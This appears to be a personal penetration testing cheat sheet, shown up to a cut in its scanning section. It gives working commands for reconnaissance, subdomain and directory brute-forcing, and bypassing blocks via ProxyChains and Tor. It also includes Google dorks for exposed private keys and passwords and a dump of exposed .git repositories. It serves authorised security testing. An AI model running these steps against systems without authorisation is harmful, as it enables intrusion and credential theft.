Wiki](https://github.com/volatilityfoundation/volatility/wiki/Memory-Samples) * [ATT&CK® EVALUATIONS](https://attackevals.mitre-engenuity.org/) Endpoint Protection Analysis Vulnerability Management
# Penetration Testing Cheat Sheet This is more of a checklist for myself. May contain useful tips and tricks. Everything was tested on Kali Linux v2023.1 (64-bit). For help with any of the tools write `<tool_name> [-h | -hh | --help]` or `man <tool_name>`. Sometimes `-h` can be mistaken for a host or some other option. If that's the case, use `-hh` or `--help` instead, or read the manual with `man`. Some tools do similar tasks, but get slightly different results. Run everything you can. Many tools complement each other! Keep in mind when no protocol nor port number in a URL is specified, i.e. if you specify only `somesite.com`, some tools will default to HTTP protocol and port 80. If you didn't already, read [OWASP Web Security Testing Guide](https://github.com/OWASP/wstg). Checklist can be downloaded [here](https://github.com/OWASP/wstg/tree/master/checklists). Highly recommend reading [Common Security Issues in Financially-Orientated Web](https://research.nccgroup.com/wp-content/uploads/2020/07/common_security_issues_in_financially-orientated_web.pdf). Websites that you should use while writing the report: * [cwe.mitre.org/data](https://cwe.mitre.org/data) * [owasp.org/projects](https://owasp.org/projects) * [owasp.org/www-project-top-ten](https://owasp.org/www-project-top-ten) * [cheatsheetseries.owasp.org](https://cheatsheetseries.owasp.org/Glossary.html) * [nvd.nist.gov/vuln-metrics/cvss/v3-calculator](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator) * [nvd.nist.gov/ncp/repository](https://nvd.nist.gov/ncp/repository) * [attack.mitre.org](https://attack.mitre.org) Future plans: * more email gathering tools, * Bash one-liner to transform `people.txt` into `emails.txt`, and `emails.txt` into `usernames.txt`, * more WordPress tools, * HTTP smuggling, * parameter pollution, * insecure object deserialization, * pre-shared key cracking, * email spoofing. My other cheat sheets: * [WiFi Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet) * [iOS Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet) * [Android Testing Cheat Sheet](https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet) ## Table of Contents **0. [Install Tools and Setup](#0-install-tools-and-setup)** * [API Keys](#api-keys) * [User-Agents](#user-agents) * [DNS Resolvers](#dns-resolvers) * [ProxyChains-NG](#proxychains-ng) **1. [Reconnaissance](#1-reconnaissance)** * [Useful Websites](#11-useful-websites) * [Dmitry](#dmitry) * [theHarvester](#theharvester) * [FOCA](#foca-fingerprinting-organizations-with-collected-archives) * [uncover](#uncover) * [assetfinder](#assetfinder) * [Sublist3r](#sublist3r) * [Subfinder](#subfinder) * [Amass](#amass) * [dig](#dig) * [Fierce](#fierce) * [DNSRecon](#dnsrecon) * [host](#host) * [WHOIS, ASN, CIDR](#whois-asn-cidr) * [httpx](#httpx) * [gau](#gau) * [urlhunter](#urlhunter) * [Google Dorks](#google-dorks) * [Chad](#chad) * [git-dumper](#git-dumper) * [TruffleHog](#trufflehog) * [Directory Fuzzing](#directory-fuzzing) * [DirBuster](#dirbuster) * [feroxbuster](#feroxbuster) * [snallygaster](#snallygaster) * [IIS Tilde Short name Scanning](#iis-tilde-short-name-scanning) * [Bypassing the 401 and 403](#bypassing-the-401-and-403) * [WhatWeb](#whatweb) * [Parsero](#parsero) * [EyeWitness](#eyewitness) * [Wordlists](#wordlists) **2. [Scanning/Enumeration](#2-scanningenumeration)** * [Useful Websites](#21-useful-websites) * [Nmap](#nmap) * [Nikto](#nikto) * [WPScan](#wpscan) * [testssl.sh](#testsslsh) * [OpenSSL](#openssl) * [keytool](#keytool) **3. [Gaining Access/Exploiting](#3-gaining-accessexploiting)** * [Useful Websites](#31-useful-websites) * [Collaborator Servers](#collaborator-servers) * [Subdomain Takeover](#subdomain-takeover) * [Subzy](#subzy) * [subjack](#subjack) * [Nuclei](#Nuclei) * [WFUZZ](#wfuzz) * [Insecure Direct Object Reference (IDOR)](#insecure-direct-object-references-idor) * [HTTP Response Splitting](#http-response-splitting) * [Cross-Site Scripting \(XSS\)](#cross-site-scripting-xss) * [SQL Injection](#sql-injection) * [sqlmap](#sqlmap) * [dotdotpwn](#dotdotpwn) * [Web Shells](#web-shells) * [Send a Payload With Python](#send-a-payload-with-python) **4. [Post Exploitation](#4-post-exploitation)** * [Useful Websites](#41-useful-websites) * [Generate a Reverse Shell Payload for Windows OS](#generate-a-reverse-shell-payload-for-windows-os) * [PowerShell Encoded Command](#powershell-encoded-command) **5. [Password Cracking](#5-password-cracking)** * [Useful Websites](#51-useful-websites) * [crunch](#crunch) * [hash-identifier](#hash-identifier) * [Hashcat](#hashcat) * [Cracking the JWT](#craking-the-jwt) * [Hydra](#hydra) * [Password Spraying](#password-spraying) **6. [Social Engineering](#6-social-engineering)** * [Drive-by Download](#drive-by-download) * [Phishing Website](#phishing-website) **7. [Miscellaneous](#7-miscellaneous)** * [Useful Websites](#71-useful-websites) * [cURL](#curl) * [Ncat](#ncat) * [multi/handler](#multihandler) * [ngrok](#ngrok) * [Additional References](#additional-references) ## 0. Install Tools and Setup Most tools can be installed with Linux package manager: ```bash apt-get update && apt-get -y install sometool ``` For more information visit [www.kali.org/tools](https://www.kali.org/tools). --- Some tools need to be downloaded and installed with Python: ```fundamental python3 setup.py install ``` --- Some tools need to be downloaded and built with Golang, or installed directly: ```bash go build sometool.go go install -v github.com/user/sometool@latest ``` To set up Golang, run `apt-get -y install golang`, add the following lines to `~/.zshrc`, and then run `source ~/.zshrc`: ```fundamental export GOROOT=/usr/lib/go export GOPATH=$HOME/go export PATH=$GOPATH/bin:$GOROOT/bin:$PATH ``` If you use other console, you might need to write these lines to `~/.bashrc`, etc. --- Some tools that are in the form of binaries or shell scripts can be moved to `/usr/bin/` directory for the ease of use: ```bash mv sometool.sh /usr/bin/sometool && chmod +x /usr/bin/sometool ``` --- Some tools need to be downloaded and ran with Java (JRE): ```bash java -jar sometool.jar ``` ### API Keys List of useful APIs to integrate in your tools: * [scrapeops.io](https://scrapeops.io) (User-Agents) * [shodan.io](https://developer.shodan.io) (IoT search engine) * [censys.io](https://search.censys.io/api) (domain lookup) * [github.com](https://github.com/settings/tokens) (public source code repository lookup) * [virustotal.com](https://developers.virustotal.com/reference/overview) (malware database lookup) ### User-Agents Download a list of bot-safe User-Agents (requires [scrapeops.io](https://scrapeops.io) API key): ```python python3 -c 'import json, requests; open("./user_agents.txt", "w").write(("\n").join(requests.get("http://headers.scrapeops.io/v1/user-agents?api_key=SCRAPEOPS_API_KEY&num_results=100", verify = False).json()["result"]))' ``` ### DNS Resolvers Download a list of trusted DNS resolvers (or manually from [github.com/trickest/resolvers](https://github.com/trickest/resolvers)): ```python python3 -c 'import json, requests; open("./resolvers.txt", "w").write(requests.get("https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt", verify = False).text)' ``` ### ProxyChains-NG If Google or any other search engine or service blocks your tool, use ProxyChains-NG and Tor to bypass restrictions. Installation: ```bash apt-get update && apt-get -y install proxychains4 tor torbrowser-launcher ``` Do the following changes to `/etc/proxychains4.conf` file: ``` round_robin chain_len = 1 proxy_dns remote_dns_subnet 224 tcp_read_time_out 15000 tcp_connect_time_out 8000 [ProxyList] socks5 127.0.0.1 9050 ``` Make sure to comment any chain type other than `round_robin` - e.g. comment `strict_chain`. Don't forget to start Tor: ```fundamental service tor start ``` Then, run any tool you want: ```fundamental proxychains4 sometool ``` Using only Tor most likely won't be enough, you will need to add more [proxies](https://spys.one/en/socks-proxy-list) to `/etc/proxychains4.conf` file; although, it is hard to find free proxies that are stable enough and not already blocked. ## 1. Reconnaissance Keep in mind that some websites are accessible only through older web browsers such as Internet Explorer. Keep in mind that some websites may be missing the index page and may not redirect you to the home page at all. If that's the case, try to manually guess a full path to the home page, use [wayback machine](https://archive.org) ([gau](#gau)) to find old URLs, or try directory fuzzing with [DirBuster](#dirbuster). Search the Internet for default paths and files for a specific web application. Use the gathered information in combination with [Google Dorks](#google-dorks) or [httpx](#httpx) to find the same paths/files on different websites. For not so common web applications, try to find and browse the source code for default paths/files. You can find the application's source code on [GitHub](https://github.com), [GitLab](https://about.gitlab.com), [searchcode](https://searchcode.com), etc. Search the application's source code for API keys, SSH keys, credentials, tokens, hidden hosts and domains, etc. Don't forget to check old GitHub commits for old but still active API keys, secret tokens, etc. Inspect the web console for possible errors. Inspect the application's source code for possible comments. **Don't forget to access the web server over an IP address because you may find server's default welcome page or some other content.** ### 1.1 Useful Websites * [whois.domaintools.com](https://whois.domaintools.com) * [otx.alienvault.com](https://otx.alienvault.com) (domain lookup) * [reverseip.domaintools.com](https://reverseip.domaintools.com) (web-based reverse DNS lookup) * [lookup.icann.org](https://lookup.icann.org) * [sitereport.netcraft.com](https://sitereport.netcraft.com) * [searchdns.netcraft.com](https://searchdns.netcraft.com) (web-based DNS lookup) * [spyse.com](https://spyse.com) * [search.censys.io](https://search.censys.io) (domain lookup) * [crt.sh](https://crt.sh) (certificate fingerprinting) * [commoncrawl.org](https://commoncrawl.org/the-data/get-started) (web crawl dumps) * [opendata.rapid7.com](https://opendata.rapid7.com) (scan dumps) * [searchcode.com](https://searchcode.com) * [virustotal.com](https://www.virustotal.com/gui/home/search) (malware database lookup) * [isithacked.com](http://isithacked.com) * [threatcrowd.org](https://www.threatcrowd.org) * [haveibeenpwned.com](https://haveibeenpwned.com) * [intelx.io](https://intelx.io) (database breaches) * [search.wikileaks.org](https://search.wikileaks.org) * [archive.org](https://archive.org) (wayback machine) * [pgp.circl.lu](https://pgp.circl.lu) (OpenPGP key server) * [shodan.io](https://www.shodan.io) (IoT search engine) ### Dmitry Gather information: ```fundamental dmitry -wines -o dmitry_results.txt somedomain.com ``` Deprecated. Netcraft search does not work. ### theHarvester Gather information: ```fundamental theHarvester -f theharvester_results.xml -b baidu,bevigil,bing,bingapi,certspotter,crtsh,dnsdumpster,duckduckgo,hackertarget,otx,threatminer,urlscan,yahoo -l 500 -d somedomain.com ``` This tool is changing the search engines quite often, as such, some of them might not work as of this reading. Sometimes the output file might default to `/usr/lib/python3/dist-packages/theHarvester/` directory. Extract hostnames from the results: ```bash grep -Po '(?<=\<host\>)(?!\<(?:ip|hostname)\>)[^\s]+?(?=\<\/host\>)|(?<=\<hostname\>)[^\s]+?(?=\<\/hostname\>)' theharvester_results.xml | sort -uf | tee -a subdomains.txt ``` Extract IPs from the results: ```bash grep -Po '(?<=\<ip\>)[^\s]+?(?=\<\/ip\>)' theharvester_results.xml | sort -uf | tee -a ips.txt ``` Extract emails from the results: ```bash grep -Po '(?<=\<email\>)[^\s]+?(?=\<\/email\>)' theharvester_results.xml | sort -uf | tee -a emails.txt ``` ### FOCA (Fingerprinting Organizations with Collected Archives) Find metadata and hidden information in files. Tested on Windows 10 Enterprise OS (64-bit). Setup: * download and install [MS SQL Server 2014 Express](https://www.microsoft.com/en-us/download/details.aspx?id=42299) or greater, * download and install [MS .NET Framework 4.7.1 Runtime](https://dotnet.microsoft.com/download/dotnet-framework/net471) or greater, * download and install [MS Visual C++ 2010 (64-bit)](https://www.microsoft.com/en-us/download/developer-tools.aspx) or greater, * download and install [FOCA](https://github.com/ElevenPaths/FOCA/releases). GUI is very intuitive. ### uncover Installation: ```bash go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest ``` Set your API keys in `/root/.config/uncover/provider-config.yaml` file as following: ```fundamental shodan: - SHODAN_API_KEY censys: - CENSYS_API_ID:CENSYS_API_SECRET fofa: [] ``` Gather information using Shodan, Censys, and more: ```fundamental uncover -nc -json -o uncover_results.json -l 100 -e shodan,censys -q somedomain.com jq '.host | select (. != "")' uncover_results.json | sort -uf | tee -a subdomains.txt jq '.ip | select (. != "")' uncover_results.json | sort -uf | tee -a ips.txt ``` TO DO: Shodan and Censys Dorks. ### assetfinder Gather subdomains using OSINT: ```bash assetfinder --subs-only somedomain.com | grep -v '*' | tee assetfinder_results.txt ``` ### Sublist3r Gather subdomains using OSINT: ```fundamental sublist3r -o sublister_results.txt -d somedomain.com ``` ### Subfinder Gather subdomains using OSINT: ```fundamental subfinder -silent -t 10 -timeout 3 -nW -o subfinder_results.txt -rL resolvers.txt -d somedomain.com ``` Subfinder has built-in DNS resolvers. Set your API keys in `/root/.config/subfinder/config.yaml` file as following: ```fundamental shodan: - SHODAN_API_KEY censys: - CENSYS_API_ID:CENSYS_API_SECRET github: - GITHUB_API_KEY virustotal: - VIRUSTOTAL_API_KEY ``` ### Amass Gather subdomains using OSINT: ```fundamental amass enum -passive -o amass_results.txt -trf resolvers.txt -d somedomain.com ``` Amass has built-in DNS resolvers. To find ASNs from IPs and CIDRs from ASNs, use [WHOIS](#whois-asn-cidr). The below ASN and CIDR scans will take a long time to finish. **The results might not be all within your scope!** Gather subdomains by the [ASN](https://www.arin.net/resources/guide/asn): ```fundamental amass intel -o amass_asn_results.txt -trf resolvers.txt -asn 13337 ``` Gather subdomains by the [CIDR](https://aws.amazon.com/what-is/cidr): ```fundamental amass intel -o amass_cidr_results.txt -trf resolvers.txt -cidr 192.168.8.0/24 ``` ### dig Fetch name servers: ```fundamental dig +noall +answer -t NS somedomain.com ``` Fetch exchange servers: ```fundamental dig +noall +answer -t MX somedomain.com ``` Interrogate a domain name server: ```fundamental dig +noall +answer -t ANY somedomain.com @ns.somedomain.com ``` Fetch the zone file from a domain name server: ```fundamental dig +noall +answer -t AXFR somedomain.com @ns.somedomain.com ``` Reverse DNS lookup: ```fundamental dig +noall +answer -x 192.168.8.5 ``` \[Subdomain Takeover\] Check if domains/subdomains are dead or not, look for `NXDOMAIN`, `SERVFAIL`, or `REFUSED` status codes: ```bash for subdomain in $(cat subdomains.txt); do res=$(dig "${subdomain}" -t A +noall +comments +timeout=3 | grep -Po '(?<=status\:\ )[^\s]+(?<!\,)'); echo "${subdomain} | ${res}"; done | sort -uf | tee -a subdomains_to_status.txt grep -v 'NOERROR' subdomains_to_status.txt | grep -Po '[^\s]+(?=\ \|)' | sort -uf | tee -a subdomains_error.txt grep 'NOERROR' subdomains_to_status.txt | grep -Po '[^\s]+(?=\ \|)' | sort -uf | tee -a subdomains_error_none.txt ``` ### Fierce Interrogate domain name servers: ```fundamental fierce -file fierce_std_results.txt --domain somedomain.com fierce -file fierce_brt_results.txt --subdomain-file subdomains-top1mil.txt --domain somedomain.com ``` By default, Fierce will perform brute force attack with its built-in wordlist. ### DNSRecon Interrogate domain name servers: ```fundamental dnsrecon -t std --json /root/Desktop/dnsrecon_std_results.json -d somedomain.com dnsrecon -t axfr --json /root/Desktop/dnsrecon_axfr_results.json -d somedomain.com dnsrecon -v --iw -f --lifetime 3 --threads 50 -t brt --json /root/Desktop/dnsrecon_brt_results.json -D subdomains-top1mil.txt -d somedomain.com ``` DNSRecon can perform a brute force attack with a user-defined wordlist, but make sure to specify a full path to the wordlist; otherwise, DNSRecon might not recognize it. Make sure to specify a full path to the output file; otherwise, it will default to `/usr/share/dnsrecon/` directory (i.e. to the root directory). Extract hostnames from the standard/zone transfer/brute force results: ```bash jq -r '.[] | if (.type == "A" or .type == "AAAA" or .type == "CNAME" or .type == "MX" or .type == "NS" or .type == "PTR") then (.exchange, .name, .target) else (empty) end | select(. != null)' dnsrecon_std_results.json | sort -uf | tee -a subdomains.txt ``` Extract IPs from the standard/zone transfer/brute force results: ```bash jq -r '.[] | if (.type == "A" or .type == "AAAA" or .type == "CNAME" or .type == "MX" or .type == "NS" or .type == "PTR") then (.address) else (empty) end | select(. != null)' dnsrecon_std_results.json | sort -uf | tee -a ips.txt ``` \[Subdomain Takeover\] Extract canonical names from the standard/zone transfer/brute force results: ```bash jq -r '.[] | if (.type == "CNAME") then (.target) else (empty) end | select(. != null)' dnsrecon_std_results.json | sort -uf | tee -a cnames.txt ``` Reverse DNS lookup: ```fundamental dnsrecon --json /root/Desktop/dnsrecon_reverse_results.json -s -r 192.168.8.0/24 ``` Extract virtual hosts from the reverse DNS lookup results: ```bash jq -r '.[] | if (type == "array") then (.[].name) else (empty) end | select(. != null)' dnsrecon_reverse_results.json | sort -uf | tee -a subdomains.txt ``` ### host **Some DNS servers will not respond to DNS quieries of type 'ANY', use type 'A' instead.** Gather IPs for the given domains/subdomains (ask for `A` records): ```bash for subdomain in $(cat subdomains.txt); do res=$(host -t A "${subdomain}" | grep -Po '(?<=has\ address\ )[^\s]+(?<!\.)'); if [[ ! -z $res ]]; then echo "${subdomain} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a subdomains_to_ips.txt grep -Po '(?<=\|\ )[^\s]+' subdomains_to_ips.txt | sort -uf | tee -a ips.txt ``` Check if domains/subdomains are alive or not with [httpx](#httpx). Check if IPs are alive or not with [Nmap](#nmap). Gather virtual hosts for the given IPs (ask for `PTR` records): ```bash for ip in $(cat ips.txt); do res=$(host -t PTR "${ip}" | grep -Po '(?<=domain\ name\ pointer\ )[^\s]+(?<!\.)'); if [[ ! -z $res ]]; then echo "${ip} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a ips_to_subdomains.txt grep -Po '(?<=\|\ )[^\s]+' ips_to_subdomains.txt | sort -uf | tee -a subdomains.txt ``` \[Subdomain Takover\] Gather canonical names for the given domains/subdomains (ask for `CNAME` records): ```bash for subdomain in $(cat subdomains.txt); do res=$(host -t CNAMES "${subdomain}" | grep -Po '(?<=is\ an\ alias\ for\ )[^\s]+(?<!\.)'); if [[ ! -z $res ]]; then echo "${subdomain} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a subdomains_to_cnames.txt grep -Po '(?<=\|\ )[^\s]+' subdomains_to_cnames.txt | sort -uf | tee -a cnames.txt ``` ### WHOIS, ASN, CIDR Gather [ASNs](https://www.arin.net/resources/guide/asn) for the given IPs: ```bash for ip in $(cat ips.txt); do res=$(whois -h whois.cymru.com "${ip}" | grep -Poi '^\d+'); if [[ ! -z $res ]]; then echo "${ip} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a ips_to_asns.txt grep -Po '(?<=\|\ )(?(?!\ \|).)+' ips_to_asns.txt | sort -uf | tee -a asns.txt ``` Gather [CIDRs](https://www.arin.net/resources/guide/asn) for the given ASNs: ```bash for asn in $(cat asns.txt); do res=$(whois -h whois.radb.net -i origin "AS${asn}" | grep -Poi '(\b25[0-5]|\b2[0-4][0-9]|\b[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}\/[0-9]+'); if [[ ! -z $res ]]; then echo "AS${asn} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a asns_to_cidrs.txt grep -Po '(?<=\|\ )(?(?!\ \|).)+' asns_to_cidrs.txt | sort -uf | tee -a cidrs.txt ``` \[Subdomain Takeover\] Gather organization names (and more) for the given IPs: ```bash for ip in $(cat ips.txt); do res=$(whois -h whois.arin.net "${ip}" | grep -Po '(?<=OrgName\:)[\s]+\K.+'); if [[ ! -z $res ]]; then echo "${ip} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a ips_to_organization_names.txt grep -Po '(?<=\|\ )(?(?!\ \|).)+' ips_to_organization_names.txt | sort -uf | tee -a organization_names.txt ``` Check if any IP belongs to [GitHub](https://github.com) organization, more info about GitHub takeover in this [article](https://www.hackerone.com/application-security/guide-subdomain-takeovers). ### httpx Check if domains/subdomains are alive or not (map live hosts): ```bash httpx-toolkit -o subdomains_live.txt -l subdomains_error_none.txt httpx-toolkit -random-agent -json -o httpx_results.json -threads 100 -timeout 3 -l subdomains.txt -ports 80,443,8008,8080,8403,8443,9008,9080,9403,9443 ``` Filter domains/subdomains from the JSON results: ```bash jq -r '.url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_live_long.txt grep -Po 'http\:\/\/[^\s]+' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_http.txt grep -Po 'https\:\/\/[^\s]+' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_https.txt grep -Po '(?<=\:\/\/)[^\s\:]+' subdomains_live_long.txt | sort -uf | tee -a subdomains_live.txt jq -r 'select(."status-code" >= 200 and ."status-code" < 300) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_2xx.txt jq -r 'select(."status-code" >= 300 and ."status-code" < 400) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_3xx.txt jq -r 'select(."status-code" < 300 or ."status-code" >= 400) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_3xx_none.txt jq -r 'select(."status-code" >= 400 and ."status-code" < 500) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_4xx.txt jq -r 'select(."status-code" == 401) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_401.txt jq -r 'select(."status-code" == 403) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_403.txt ``` Check if directory exists on a web server: ```bash httpx-toolkit -status-code -content-length -o httpx_results.txt -l subdomains_live.txt -path /.git ``` ### gau Gather URLs from the [wayback machine](https://archive.org): ```fundamental getallurls somedomain.com | tee gau_results.txt for subdomain in $(cat subdomains_live.txt); do getallurls "${subdomain}"; done | sort -uf | tee gau_results.txt ``` Filter URLs from the results: ```bash httpx-toolkit -random-agent -json -o httpx_gau_results.json -threads 100 -timeout 3 -r resolvers.txt -l gau_results.txt jq -r 'select(."status-code" >= 200 and ."status-code" < 300) | .url | select(. != null)' httpx_gau_results.json | sort -uf | tee gau_2xx_results.txt jq -r 'select(."status-code" >= 300 and ."status-code" < 400) | .url | select(. != null)' httpx_gau_results.json | sort -uf | tee gau_3xx_results.txt jq -r 'select(."status-code" >= 400) | .url | select(. != null)' httpx_gau_results.json | sort -uf | tee gau_4xx_results.txt jq -r 'select(."status-code" == 401) | .url | select(. != null)' httpx_gau_results.json | sort -uf | tee gau_401_results.txt jq -r 'select(."status-code" == 403) | .url | select(. != null)' httpx_gau_results.json | sort -uf | tee gau_403_results.txt ``` ### urlhunter Installation: ```bash go install -v github.com/utkusen/urlhunter@latest ``` Gather URLs from URL shortening services: ```fundamental urlhunter -o urlhunter_results.txt -date latest -keywords keywords.txt ``` ### Google Dorks Google Dorks databases: * [exploit-db.com/google-hacking-database](https://www.exploit-db.com/google-hacking-database) * [cxsecurity.com/dorks](https://cxsecurity.com/dorks) * [pentest-tools.com/information-gathering/google-hacking](https://pentest-tools.com/information-gathering/google-hacking) * [github.com/opsdisk/pagodo/blob/master/dorks/all_google_dorks.txt](https://github.com/opsdisk/pagodo/blob/master/dorks/all_google_dorks.txt) Check the list of `/.well-known/` files [here](https://www.iana.org/assignments/well-known-uris/well-known-uris.xhtml). Google Dorking will not show directories nor files that are disallowed in `robots.txt`, to check for such directories and files use [httpx](#httpx). Append `site:www.somedomain.com` to limit your scope to a specified domain/subdomain. Append `site:*.somedomain.com` to limit your scope to all subdomains. Append `site:*.somedomain.com -www` to exclude `www` subdomain from results. Simple Google Dorks examples: ```fundamental inurl:/robots.txt intext:disallow ext:txt inurl:/.well-known/security.txt ext:txt inurl:/info.php intext:"php version" ext:php intitle:"index of /" intext:"parent directory" intitle:"index of /.git" intext:"parent directory" inurl:/gitweb.cgi intitle:"Dashboard [Jenkins]" (intext:"mysql database" AND intext:db_password) ext:txt intext:-----BEGIN PGP PRIVATE KEY BLOCK----- (ext:pem OR ext:key OR ext:txt) ``` ### Chad Find and download files using Google Dorks: ```fundamental chad -sos no -d chad_results -tr 100 -q "ext:txt OR ext:pdf OR ext:doc OR ext:docx OR ext:xls OR ext:xlsx" -s *.somedomain.com -o chad_results.json ``` Extract authors (and more) from the files: ```bash apt-get -y install libimage-exiftool-perl exiftool -S chad_results | grep -Po '(?<=Author\:\ ).+' | sort -uf | tee -a people.txt ``` Run a single Google Dork: ```fundamental chad -sos no -q 'intitle:"index of /" intext:"parent directory"' -s *.somedomain.com ``` For advanced use and automation, check the [project page](https://github.com/ivan-sincek/chad). ### git-dumper Try to reconstruct a GitHub repository (i.e. get the source code) based on the commit history from a public `/.git` directory: ```fundamental git-dumper https://somesite.com/.git git_dumper_results ``` This tool might not be able to reconstruct the whole repository at all times, but it could still reveal some sensitive information. Some additional `git` commands to try on the cloned `/.git` directory: ```fundamental git status git log git checkout -- . git restore . ``` Use [Google Dorking](#google-dorks) and [Chad](#chad) to find more targets. # TruffleHog Installation: ```bash git clone https://github.com/trufflesecurity/trufflehog && cd trufflehog go install ``` Search for sensitive keys inside a single repository or the whole organization on GitHub: ```fundamental trufflehog git https://github.com/trufflesecurity/test_keys --only-verified --json trufflehog github --org=trufflesecurity --only-verified --json ``` Search for sensitive keys inside files and directories: ```fundamental trufflehog filesystem somefile_1.txt somefile_2.txt somedir1 somedir2 ``` For more usage, check [github.com/trufflesecurity/trufflehog](https://github.com/trufflesecurity/trufflehog). ### Directory Fuzzing **Don't forget that GNU/Linux OS has a case sensitive file system, so make sure to use an appropriate wordlists.** If you don't get any hits while brute forcing directories, try to brute force files by specifying file extensions. The following tools support recursive directory search and file search; also, they might take a long time to finish depending on the settings and wordlist used. Find out how to bypass 4xx HTTP response status codes from my other [project](https://github.com/ivan-sincek/forbidden). ### DirBuster <p align="center"><img src="https://github.com/ivan-sincek/penetration-testing-cheat-sheet/blob/master/img/dirbuster.png" alt="DirBuster"></p> <p align="center">Figure 1 - DirBuster</p> All DirBuster's wordlists are located at `/usr/share/dirbuster/wordlists/` directory. ### feroxbuster Brute force directories on a web server: ```fundamental cat subdomains_live_long.txt | feroxbuster -q --auto-bail --random-agent -t 50 -T 3 -k -n --stdin -o feroxbuster_results.txt -s 200,301,302,401,403 -w directory-list-lowercase-2.3-medium.txt ``` This tool seems to be faster than [DirBuster](#dirbuster). Filter directories from the results: ```bash grep -Po '(?<=200)\K.+\K(?<=c\ )[^\s]+' feroxbuster_results.txt | sort -uf | tee -a directories_200.txt grep -Po '(?<=301|302)\K.+\K(?<=c\ )[^\s]+' feroxbuster_results.txt | sort -uf | tee -a directories_3xx.txt grep -Po '(?<=401)\K.+\K(?<=c\ )[^\s]+' feroxbuster_results.txt | sort -uf | tee -a directories_401.txt grep -Po '(?<=403)\K.+\K(?<=c\ )[^\s]+' feroxbuster_results.txt | sort -uf | tee -a directories_403.txt ``` | Option | Description | | --- | --- | | -u | The target URL (required, unless \[--stdin \| --resume-from\] is used) | | --stdin | Read URL(s) from STDIN | | -a/-A | Sets the User-Agent (default: feroxbuster\/2.7.3) \/ Use a random User-Agent | | -x | File extension(s) to search for (ex: -x php -x pdf,js) | | -m | Which HTTP request method(s) should be sent (default: GET) | | --data | Request's body; can read data from a file if input starts with an \@(ex: \@post.bin) | | -H | Specify HTTP headers to be used in each request (ex: -H header:val -H 'stuff:things') | | -b | Specify HTTP cookies to be used in each request (ex: -b stuff=things) | | -Q | Request's URL query parameters (ex: -Q token=stuff -Q secret=key) | | -f | Append \/ to each request's URL | | -s | Status Codes to include (allow list) (default: 200,204,301,302,307,308,401,403,405) | | -T | Number of seconds before a client's request times out (default: 7) | | -k | Disables TLS certificate validation for the client | | -t | Number of concurrent threads (default: 50) | | -n | Do not scan recursively | | -w | Path to the wordlist | | --auto-bail | Automatically stop scanning when an excessive amount of errors are encountered | | -B | Automatically request likely backup extensions for "found" URLs | | -q | Hide progress bars and banner (good for tmux windows w/ notifications) | | -o | Output file to write results to (use w/ --json for JSON entries) | ### snallygaster Download the latest version from [GitHub](https://github.com/hannob/snallygaster/releases). See how to [install](#0-install-tools) the tool. Search a web server for sensitive files: ```bash snallygaster --nowww somesite.com | tee snallygaster_results.txt for subdomain in $(cat subdomains_live_long_http.txt); do snallygaster --nohttps --nowww "${subdomain}"; done | tee snallygaster_http_results.txt for subdomain in $(cat subdomains_live_long_https.txt); do snallygaster --nohttp --nowww "${subdomain}"; done | tee snallygaster_https_results.txt ``` ### IIS Tilde Short name Scanning Download: ```bash git clone https://github.com/irsdl/IIS-ShortName-Scanner && cd IIS-ShortName-Scanner/release ``` Search an IIS server for files and directories: ```fundamental java -jar iis_shortname_scanner.jar 2 30 https://somesite.com ``` ### Bypassing 401 and 403 Find out how to bypass 4xx HTTP response status codes from my other [project](https://github.com/ivan-sincek/forbidden). ### WhatWeb Identify a website: ```fundamental whatweb -v somesite.com ``` ### Parsero Test all `robots.txt` entries: ```fundamental parsero -sb -u somesite.com ``` ### EyeWitness Grab screenshots from websites: ```fundamental eyewitness --no-prompt --no-dns --timeout 3 --threads 5 -d eyewitness_results -f subdomains_live_long.txt ``` To check the screenshots, navigate to `eyewitness_results/screens` directory. ### Wordlists You can find `rockyou.txt` inside `/usr/share/wordlists/` directory or inside [SecLists](https://github.com/danielmiessler/SecLists) - a useful collection of multiple types of wordlists for security assessments. Install SecLists (the collection will be stored at `/usr/share/seclists/` directory): ```bash apt-get update && apt-get install seclists ``` Another popular wordlist collections: * [xmendez/wfuzz](https://github.com/xmendez/wfuzz) * [assetnote/commonspeak2-wordlists](https://github.com/assetnote/commonspeak2-wordlists) * [weakpass.com/wordlist](https://weakpass.com/wordlist) * [packetstormsecurity.com/Crackers/wordlists](https://packetstormsecurity.com/Crackers/wordlists) ## 2. Scanning/Enumeration Keep in mind that web applications can be hosted on other ports besides 80 (HTTP) and 443 (HTTPS), e.g. they can be hosted on port 8443 (HTTPS). Keep in mind that on ports 80 (HTTP) and 443 (HTTPS) a web server can host different web applications or some other services entirely. Use [Ncat](#ncat) or Telnet for banner grabbing. Keep in mind that on different URL paths a web server can host different web applications or some other services entirely, e.g. `somesite.com/app_one/` and `somesite.com/app_two/`. While scanning for vulnerabilities or running any other intensive scans, periodically check the web application/service in case it crashed so you can alert your client as soon as possible. Also, many times you might get temporarily blocked by the web application firewall (WAF) or some other security product and all your subsequent requests will be invalid. If a web application all of sudden stops responding, try to access the web application with your mobile data (i.e. use a different IP). It is possible that your current IP was temporarily blocked. Send an email message to a non-existent address at target's domain, it will often reveal useful internal network information through a nondelivery notification (NDN). Try to invest into [Nessus 